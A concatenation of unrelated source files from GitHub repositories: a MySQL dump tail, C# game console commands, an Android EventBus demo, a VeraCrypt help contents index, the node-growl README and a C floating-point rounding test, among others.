INSERT INTO `tp` VALUES (1,'default_tp',0),(3,'MSS TP',0);
/*!40000 ALTER TABLE `tp` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `visited_network`
--
DROP TABLE IF EXISTS `visited_network`;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE `visited_network` (
`id` int(11) NOT NULL auto_increment,
`identity` varchar(255) NOT NULL default '',
PRIMARY KEY (`id`),
KEY `idx_identity` (`identity`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 COMMENT='Visited Networks';
SET character_set_client = @saved_cs_client;
--
-- Dumping data for table `visited_network`
--
LOCK TABLES `visited_network` WRITE;
/*!40000 ALTER TABLE `visited_network` DISABLE KEYS */;
INSERT INTO `visited_network` VALUES (1,'open-ims.test');
/*!40000 ALTER TABLE `visited_network` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `zh_uss`
--
DROP TABLE IF EXISTS `zh_uss`;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE `zh_uss` (
`id` int(11) NOT NULL auto_increment,
`id_impi` int(11) NOT NULL default '0',
`type` int(11) NOT NULL default '1',
`flags` int(11) NOT NULL default '0',
`naf_group` varchar(255) default NULL,
PRIMARY KEY (`id`),
KEY `idx_impi` (`id_impi`)
) ENGINE=MyISAM AUTO_INCREMENT=5 DEFAULT CHARSET=utf8 COMMENT='Zh-User Security Settings';
SET character_set_client = @saved_cs_client;
--
-- Dumping data for table `zh_uss`
--
LOCK TABLES `zh_uss` WRITE;
/*!40000 ALTER TABLE `zh_uss` DISABLE KEYS */;
INSERT INTO `zh_uss` VALUES (4,1,0,0,NULL);
/*!40000 ALTER TABLE `zh_uss` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
-- Dump completed on 2009-02-04 17:29:09
| {
"pile_set_name": "Github"
} |
using System.Text;
using Content.Server.GameObjects.Components.Mobs;
using Content.Server.Mobs.Roles;
using Content.Server.Players;
using Content.Shared.Roles;
using Robust.Server.Interfaces.Console;
using Robust.Server.Interfaces.Player;
using Robust.Shared.IoC;
using Robust.Shared.Network;
using Robust.Shared.Prototypes;
namespace Content.Server.Mobs
{
public class MindInfoCommand : IClientCommand
{
public string Command => "mindinfo";
public string Description => "Lists info for the mind of a specific player.";
public string Help => "mindinfo <session ID>";
public void Execute(IConsoleShell shell, IPlayerSession player, string[] args)
{
if (args.Length != 1)
{
shell.SendText(player, "Expected exactly 1 argument.");
return;
}
var mgr = IoCManager.Resolve<IPlayerManager>();
if (mgr.TryGetPlayerData(new NetSessionId(args[0]), out var data))
{
var mind = data.ContentData().Mind;
var builder = new StringBuilder();
builder.AppendFormat("player: {0}, mob: {1}\nroles: ", mind.SessionId, mind.OwnedMob?.Owner?.Uid);
foreach (var role in mind.AllRoles)
{
builder.AppendFormat("{0} ", role.Name);
}
shell.SendText(player, builder.ToString());
}
else
{
shell.SendText(player, "Can't find that mind");
}
}
}
public class AddRoleCommand : IClientCommand
{
[Dependency] private readonly IPrototypeManager _prototypeManager = default!;
public string Command => "addrole";
public string Description => "Adds a role to a player's mind.";
public string Help => "addrole <session ID> <Role Type>\nThat role type is the actual C# type name.";
public void Execute(IConsoleShell shell, IPlayerSession player, string[] args)
{
if (args.Length != 2)
{
shell.SendText(player, "Expected exactly 2 arguments.");
return;
}
var mgr = IoCManager.Resolve<IPlayerManager>();
if (mgr.TryGetPlayerData(new NetSessionId(args[0]), out var data))
{
var mind = data.ContentData().Mind;
var role = new Job(mind, _prototypeManager.Index<JobPrototype>(args[1]));
mind.AddRole(role);
}
else
{
shell.SendText(player, "Can't find that mind");
}
}
}
public class RemoveRoleCommand : IClientCommand
{
[Dependency] private readonly IPrototypeManager _prototypeManager = default!;
public string Command => "rmrole";
public string Description => "Removes a role from a player's mind.";
public string Help => "rmrole <session ID> <Role Type>\nThat role type is the actual C# type name.";
public void Execute(IConsoleShell shell, IPlayerSession player, string[] args)
{
if (args.Length != 2)
{
shell.SendText(player, "Expected exactly 2 arguments.");
return;
}
var mgr = IoCManager.Resolve<IPlayerManager>();
if (mgr.TryGetPlayerData(new NetSessionId(args[0]), out var data))
{
var mind = data.ContentData().Mind;
var role = new Job(mind, _prototypeManager.Index<JobPrototype>(args[1]));
mind.RemoveRole(role);
}
else
{
shell.SendText(player, "Can't find that mind");
}
}
}
public class AddOverlayCommand : IClientCommand
{
public string Command => "addoverlay";
public string Description => "Adds an overlay by its ID";
public string Help => "addoverlay <id>";
public void Execute(IConsoleShell shell, IPlayerSession player, string[] args)
{
if (args.Length != 1)
{
shell.SendText(player, "Expected 1 argument.");
return;
}
if (player?.AttachedEntity != null)
{
if (player.AttachedEntity.TryGetComponent(out ServerOverlayEffectsComponent overlayEffectsComponent))
{
overlayEffectsComponent.AddOverlay(args[0]);
}
}
}
}
public class RemoveOverlayCommand : IClientCommand
{
public string Command => "rmoverlay";
public string Description => "Removes an overlay by its ID";
public string Help => "rmoverlay <id>";
public void Execute(IConsoleShell shell, IPlayerSession player, string[] args)
{
if (args.Length != 1)
{
shell.SendText(player, "Expected 1 argument.");
return;
}
if (player?.AttachedEntity != null)
{
if (player.AttachedEntity.TryGetComponent(out ServerOverlayEffectsComponent overlayEffectsComponent))
{
overlayEffectsComponent.RemoveOverlay(args[0]);
}
}
}
}
}
| {
"pile_set_name": "Github"
} |
const notGenericFunction = function() {
return 1 + 1;
};
const genericFunction = function<T>(x: T): T {
return x;
};
| {
"pile_set_name": "Github"
} |
(* Copyright (C) 2009 Mauricio Fernandez <[email protected]> *)
let () = Ocsigen_server.start_server ()
| {
"pile_set_name": "Github"
} |
// Copyright 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef SYNC_INTERNAL_API_PUBLIC_SYNC_MANAGER_FACTORY_H_
#define SYNC_INTERNAL_API_PUBLIC_SYNC_MANAGER_FACTORY_H_
#include <string>
#include "base/memory/scoped_ptr.h"
#include "sync/base/sync_export.h"
namespace syncer {
class SyncManager;
// Helper class to allow dependency injection of the SyncManager.
class SYNC_EXPORT SyncManagerFactory {
public:
SyncManagerFactory();
virtual ~SyncManagerFactory();
virtual scoped_ptr<SyncManager> CreateSyncManager(std::string name);
private:
DISALLOW_COPY_AND_ASSIGN(SyncManagerFactory);
};
} // namespace syncer
#endif // SYNC_INTERNAL_API_PUBLIC_SYNC_MANAGER_FACTORY_H_
| {
"pile_set_name": "Github"
} |
package com.harvic.tryeventbus2;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;
import com.harvic.other.FirstEvent;
import com.harvic.other.SecondEvent;
import com.harvic.other.ThirdEvent;
import org.greenrobot.eventbus.EventBus;
import org.greenrobot.eventbus.Subscribe;
import org.greenrobot.eventbus.ThreadMode;
public class MainActivity extends Activity {
private Button btn;
private TextView tv;
private EventBus eventBus;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
//1.注册
EventBus.getDefault().register(this);
btn = (Button) findViewById(R.id.btn_try);
tv = (TextView) findViewById(R.id.tv);
btn.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
// TODO Auto-generated method stub
Intent intent = new Intent(getApplicationContext(),
SecondActivity.class);
startActivity(intent);
}
});
}
@Subscribe(threadMode = ThreadMode.MAIN,sticky = false,priority = 80)
public void testOnEventMainThread(FirstEvent event) {
Log.d("harvic", "testOnEventMainThread:" + event.getMsg()+",priority=80"+",sticky==false");
Log.d("harvic","Thread-name=="+Thread.currentThread().getName());
tv.setText(event.getMsg());
}
@Subscribe(threadMode = ThreadMode.MAIN,sticky = true,priority = 71)
public void onEventMainThread(FirstEvent event) {
Log.d("harvic", "onEventMainThread:" + event.getMsg()+",priority=71,sticky = true");
Log.d("harvic","Thread-name=="+Thread.currentThread().getName());
tv.setText(event.getMsg());
}
@Subscribe(threadMode = ThreadMode.BACKGROUND)
public void onEventBackgroundThread(SecondEvent event){
Log.d("harvic", "onEventBackground:" + event.getMsg());
Log.d("harvic","Thread-name=="+Thread.currentThread().getName());
// tv.setText(event.getMsg());
}
@Subscribe(threadMode = ThreadMode.ASYNC)
public void onEventAsync(SecondEvent event){
Log.d("harvic", "onEventAsync:" + event.getMsg());
Log.d("harvic","Thread-name=="+Thread.currentThread().getName());
// tv.setText(event.getMsg());
}
@Subscribe(threadMode = ThreadMode.POSTING)
public void onEvent(ThirdEvent event) {
Log.d("harvic", "OnEvent:" + event.getMsg());
Log.d("harvic","Thread-name=="+Thread.currentThread().getName());
tv.setText(event.getMsg());
}
@Override
protected void onDestroy() {
super.onDestroy();
//取消注册
EventBus.getDefault().unregister(this);
}
}
| {
"pile_set_name": "Github"
} |
noinst_PROGRAMS = RSA_SecurID_getpasswd
RSA_SecurID_getpasswd_SOURCES = RSA_SecurID_getpasswd.c
RSA_SecurID_getpasswd_CFLAGS = $(PCSC_CFLAGS)
RSA_SecurID_getpasswd_LDADD = $(PCSC_LIBS)
noinst_MANS = RSA_SecurID_getpasswd.1
EXTRA_DIST = $(noinst_MANS)
| {
"pile_set_name": "Github"
} |
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<HTML>
<HEAD>
<meta name="GENERATOR" content="Microsoft® HTML Help Workshop 4.1">
<!-- Sitemap 1.0 -->
</HEAD><BODY>
<UL>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Table Of Contents">
<param name="Local" value="Documentation.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Preface">
<param name="Local" value="Preface.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Introduction">
<param name="Local" value="Introduction.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Beginner's Tutorial ">
<param name="Local" value="Beginner's Tutorial.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="VeraCrypt Volume ">
<param name="Local" value="VeraCrypt Volume.html">
</OBJECT>
<UL>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Creating a New VeraCrypt Volume">
<param name="Local" value="Creating New Volumes.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Favorite Volumes">
<param name="Local" value="Favorite Volumes.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="System Favorite Volumes">
<param name="Local" value="System Favorite Volumes.html">
</OBJECT>
</UL>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="System Encryption">
<param name="Local" value="System Encryption.html">
</OBJECT>
<UL>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Hidden Operating System">
<param name="Local" value="Hidden Operating System.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Operating Systems Supported for System Encryption">
<param name="Local" value="Supported Systems for System Encryption.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="VeraCrypt Rescue Disk">
<param name="Local" value="VeraCrypt Rescue Disk.html">
</OBJECT>
</UL>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Plausible Deniability">
<param name="Local" value="Plausible Deniability.html">
</OBJECT>
<UL>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Hidden Volume">
<param name="Local" value="Hidden Volume.html">
</OBJECT>
<UL>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Protection of Hidden Volumes Against Damage">
<param name="Local" value="Protection of Hidden Volumes.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Security Requirements and Precautions Pertaining to Hidden Volumes">
<param name="Local" value="Security Requirements for Hidden Volumes.html">
</OBJECT>
</UL>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Hidden Operating System">
<param name="Local" value="VeraCrypt Hidden Operating System.html">
</OBJECT>
</UL>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Main Program Window">
<param name="Local" value="Main Program Window.html">
</OBJECT>
<UL>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Program Menu">
<param name="Local" value="Program Menu.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Mounting Volumes">
<param name="Local" value="Mounting VeraCrypt Volumes.html">
</OBJECT>
</UL>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Parallelization">
<param name="Local" value="Parallelization.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Pipelining">
<param name="Local" value="Pipelining.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Hardware acceleration">
<param name="Local" value="Hardware Acceleration.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Hot keys">
<param name="Local" value="Hot Keys.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Keyfiles">
<param name="Local" value="Keyfiles in VeraCrypt.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Security Tokens & Smart Cards">
<param name="Local" value="Security Tokens & Smart Cards.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Portable Mode">
<param name="Local" value="Portable Mode.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="TrueCrypt Support">
<param name="Local" value="TrueCrypt Support.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Converting TrueCrypt Volumes & Partitions">
<param name="Local" value="Converting TrueCrypt volumes and partitions.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Default Mount Parameters">
<param name="Local" value="Default Mount Parameters.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Language Packs">
<param name="Local" value="Language Packs.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Encryption Algorithms">
<param name="Local" value="Encryption Algorithms.html">
</OBJECT>
<UL>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="AES">
<param name="Local" value="AES.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Camellia">
<param name="Local" value="Camellia.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Kuznyechik">
<param name="Local" value="Kuznyechik.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Serpent">
<param name="Local" value="Serpent.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Twofish">
<param name="Local" value="Twofish.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Cascades of ciphers">
<param name="Local" value="Cascades.html">
</OBJECT>
</UL>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Hash Algorithms">
<param name="Local" value="Hash Algorithms.html">
</OBJECT>
<UL>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="RIPEMD-160">
<param name="Local" value="RIPEMD-160.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="SHA-256">
<param name="Local" value="SHA-256.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="SHA-512">
<param name="Local" value="SHA-512.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Whirlpool">
<param name="Local" value="Whirlpool.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Streebog">
<param name="Local" value="Streebog.html">
</OBJECT>
</UL>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Supported Operating Systems">
<param name="Local" value="Supported Operating Systems.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Command Line Usage">
<param name="Local" value="Command Line Usage.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Security Model">
<param name="Local" value="Security Model.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Security Requirements And Precautions">
<param name="Local" value="Security Requirements and Precautions.html">
</OBJECT>
<UL>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Data Leaks">
<param name="Local" value="Data Leaks.html">
</OBJECT>
<UL>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Paging File">
<param name="Local" value="Paging File.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Memory Dump Files">
<param name="Local" value="Memory Dump Files.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Hibernation File">
<param name="Local" value="Hibernation File.html">
</OBJECT>
</UL>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Unencrypted Data in RAM">
<param name="Local" value="Unencrypted Data in RAM.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Physical Security">
<param name="Local" value="Physical Security.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Malware">
<param name="Local" value="Malware.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Multi-User Environment">
<param name="Local" value="Multi-User Environment.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Authenticity and Integrity">
<param name="Local" value="Authenticity and Integrity.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Choosing Passwords and Keyfiles">
<param name="Local" value="Choosing Passwords and Keyfiles.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Changing Passwords and Keyfiles">
<param name="Local" value="Changing Passwords and Keyfiles.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Trim Operation">
<param name="Local" value="Trim Operation.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Wear-Leveling">
<param name="Local" value="Wear-Leveling.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Reallocated Sectors">
<param name="Local" value="Reallocated Sectors.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Defragmenting">
<param name="Local" value="Defragmenting.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Journaling File Systems">
<param name="Local" value="Journaling File Systems.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Volume Clones">
<param name="Local" value="Volume Clones.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Additional Security Requirements and Precautions">
<param name="Local" value="Additional Security Requirements and Precautions.html">
</OBJECT>
</UL>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="How To Back Up Securely">
<param name="Local" value="How to Back Up Securely.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Miscellaneous">
<param name="Local" value="Miscellaneous.html">
</OBJECT>
<UL>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Using VeraCrypt Without Administrator Privileges">
<param name="Local" value="Using VeraCrypt Without Administrator Privileges.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Sharing Over Network">
<param name="Local" value="Sharing over Network.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="VeraCrypt Background Task">
<param name="Local" value="VeraCrypt Background Task.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Volume Mounted as Removable Medium">
<param name="Local" value="Removable Medium Volume.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="VeraCrypt System Files & Application Data">
<param name="Local" value="VeraCrypt System Files.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="How To Remove Encryption">
<param name="Local" value="Removing Encryption.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Uninstalling VeraCrypt">
<param name="Local" value="Uninstalling VeraCrypt.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Digital Signatures">
<param name="Local" value="Digital Signatures.html">
</OBJECT>
</UL>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Troubleshooting">
<param name="Local" value="Troubleshooting.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Incompatibilities">
<param name="Local" value="Incompatibilities.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Known Issues and Limitations">
<param name="Local" value="Issues and Limitations.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Frequently Asked Questions">
<param name="Local" value="FAQ.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Technical Details">
<param name="Local" value="Technical Details.html">
</OBJECT>
<UL>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Notation">
<param name="Local" value="Notation.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Encryption Scheme">
<param name="Local" value="Encryption Scheme.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Modes of Operation">
<param name="Local" value="Modes of Operation.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Header Key Derivation, Salt, and Iteration Count">
<param name="Local" value="Header Key Derivation.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Random Number Generator">
<param name="Local" value="Random Number Generator.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Keyfiles">
<param name="Local" value="Keyfiles.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="PIM">
<param name="Local" value="Personal Iterations Multiplier (PIM).html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="VeraCrypt Volume Format Specification">
<param name="Local" value="VeraCrypt Volume Format Specification.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Compliance with Standards and Specifications">
<param name="Local" value="Standard Compliance.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Source Code">
<param name="Local" value="Source Code.html">
</OBJECT>
</UL>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Contact">
<param name="Local" value="Contact.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Legal Information">
<param name="Local" value="Legal Information.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Version History">
<param name="Local" value="Release Notes.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="Acknowledgements">
<param name="Local" value="Acknowledgements.html">
</OBJECT>
<LI> <OBJECT type="text/sitemap">
<param name="Name" value="References">
<param name="Local" value="References.html">
</OBJECT>
</UL>
</BODY></HTML>
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE article PUBLIC "-//Boost//DTD BoostBook XML V1.0//EN" "http://www.boost.org/tools/boostbook/dtd/boostbook.dtd">
<article id="include-test" last-revision="DEBUG MODE Date: 2000/12/20 12:00:00 $"
xmlns:xi="http://www.w3.org/2001/XInclude">
<title>Include Test</title>
<section id="include-test.test">
<title><link linkend="include-test.test">Test</link></title>
<para>
Just testing.
</para>
</section>
<section id="foo.test">
<title><link linkend="foo.test">Test</link></title>
<para>
Just testing.
</para>
</section>
<section id="foo0.test">
<title><link linkend="foo0.test">Test</link></title>
<para>
Just testing.
</para>
</section>
<para>
Just trying including in a conditional macro.
</para>
<section id="foo2.test">
<title><link linkend="foo2.test">Test</link></title>
<para>
Just testing.
</para>
</section>
<para>
With some text around it.
</para>
</article>
| {
"pile_set_name": "Github"
} |
require_relative "../rexml_test_utils"
module REXMLTests
class DefaultFormatterTest < Test::Unit::TestCase
def format(node)
formatter = REXML::Formatters::Default.new
output = ""
formatter.write(node, output)
output
end
class InstructionTest < self
def test_content_nil
instruction = REXML::Instruction.new("target")
assert_equal("<?target?>", format(instruction))
end
end
end
end
| {
"pile_set_name": "Github"
} |
# Growl for nodejs
[](https://travis-ci.org/tj/node-growl)
Growl support for Nodejs. This is essentially a port of my [Ruby Growl Library](http://github.com/visionmedia/growl). Ubuntu/Linux support added thanks to [@niftylettuce](http://github.com/niftylettuce).
## Installation
### Install
### Mac OS X (Darwin):
Install [growlnotify(1)](http://growl.info/extras.php#growlnotify). On OS X 10.8, Notification Center is supported using [terminal-notifier](https://github.com/alloy/terminal-notifier). To install:
$ sudo gem install terminal-notifier
Install [npm](http://npmjs.org/) and run:
$ npm install growl
### Ubuntu (Linux):
Install `notify-send` through the [libnotify-bin](http://packages.ubuntu.com/libnotify-bin) package:
$ sudo apt-get install libnotify-bin
Install [npm](http://npmjs.org/) and run:
$ npm install growl
### Windows:
Download and install [Growl for Windows](http://www.growlforwindows.com/gfw/default.aspx)
Download [growlnotify](http://www.growlforwindows.com/gfw/help/growlnotify.aspx) - **IMPORTANT :** Unpack growlnotify to a folder that is present in your path!
Install [npm](http://npmjs.org/) and run:
$ npm install growl
## Examples
Callback functions are optional
```javascript
var growl = require('growl')
growl('You have mail!')
growl('5 new messages', { sticky: true })
growl('5 new emails', { title: 'Email Client', image: 'Safari', sticky: true })
growl('Message with title', { title: 'Title'})
growl('Set priority', { priority: 2 })
growl('Show Safari icon', { image: 'Safari' })
growl('Show icon', { image: 'path/to/icon.icns' })
growl('Show image', { image: 'path/to/my.image.png' })
growl('Show png filesystem icon', { image: 'png' })
growl('Show pdf filesystem icon', { image: 'article.pdf' })
growl('Show pdf filesystem icon', { image: 'article.pdf' }, function(err){
// ... notified
})
```
## Options
- title
- notification title
- name
- application name
- priority
- priority for the notification (default is 0)
- sticky
- weither or not the notification should remainin until closed
- image
- Auto-detects the context:
- path to an icon sets --iconpath
- path to an image sets --image
- capitalized word sets --appIcon
- filename uses extname as --icon
- otherwise treated as --icon
- exec
- manually specify a shell command instead
- appends message to end of shell command
- or, replaces `%s` with message
- optionally prepends title (example: `title: message`)
- examples: `{exec: 'tmux display-message'}`, `{exec: 'echo "%s" > messages.log}`
## License
(The MIT License)
Copyright (c) 2009 TJ Holowaychuk <[email protected]>
Copyright (c) 2016 Joshua Boy Nicolai Appelman <[email protected]>
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
'Software'), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
| {
"pile_set_name": "Github"
} |
#include "test.h"
#include <ieeefp.h>
/* Test fp getround and fp setround */
void
test_getround (void)
{
newfunc("fpgetround/fpsetround");
line(1);
fpsetround(FP_RN);
test_iok(fpgetround(), FP_RN);
line(2);
fpsetround(FP_RM);
test_iok(fpgetround(), FP_RM);
line(3);
fpsetround(FP_RP);
test_iok(fpgetround(), FP_RP);
line(4);
fpsetround(FP_RZ);
test_iok(fpgetround(), FP_RZ);
}
/* And fpset/fpgetmask */
void
test_getmask (void)
{
newfunc("fpsetmask/fpgetmask");
line(1);
fpsetmask(FP_X_INV);
test_iok(fpgetmask(),FP_X_INV);
line(2);
fpsetmask(FP_X_DX);
test_iok(fpgetmask(),FP_X_DX);
line(3);
fpsetmask(FP_X_OFL );
test_iok(fpgetmask(),FP_X_OFL);
line(4);
fpsetmask(FP_X_UFL);
test_iok(fpgetmask(),FP_X_UFL);
line(5);
fpsetmask(FP_X_IMP);
test_iok(fpgetmask(),FP_X_IMP);
}
void
test_getsticky (void)
{
newfunc("fpsetsticky/fpgetsticky");
line(1);
fpsetsticky(FP_X_INV);
test_iok(fpgetsticky(),FP_X_INV);
line(2);
fpsetsticky(FP_X_DX);
test_iok(fpgetsticky(),FP_X_DX);
line(3);
fpsetsticky(FP_X_OFL );
test_iok(fpgetsticky(),FP_X_OFL);
line(4);
fpsetsticky(FP_X_UFL);
test_iok(fpgetsticky(),FP_X_UFL);
line(5);
fpsetsticky(FP_X_IMP);
test_iok(fpgetsticky(),FP_X_IMP);
}
void
test_getroundtoi (void)
{
newfunc("fpsetroundtoi/fpgetroundtoi");
line(1);
fpsetroundtoi(FP_RDI_TOZ);
test_iok(fpgetroundtoi(),FP_RDI_TOZ);
line(2);
fpsetroundtoi(FP_RDI_RD);
test_iok(fpgetroundtoi(),FP_RDI_RD);
}
double
dnumber (int msw,
int lsw)
{
__ieee_double_shape_type v;
v.parts.lsw = lsw;
v.parts.msw = msw;
return v.value;
}
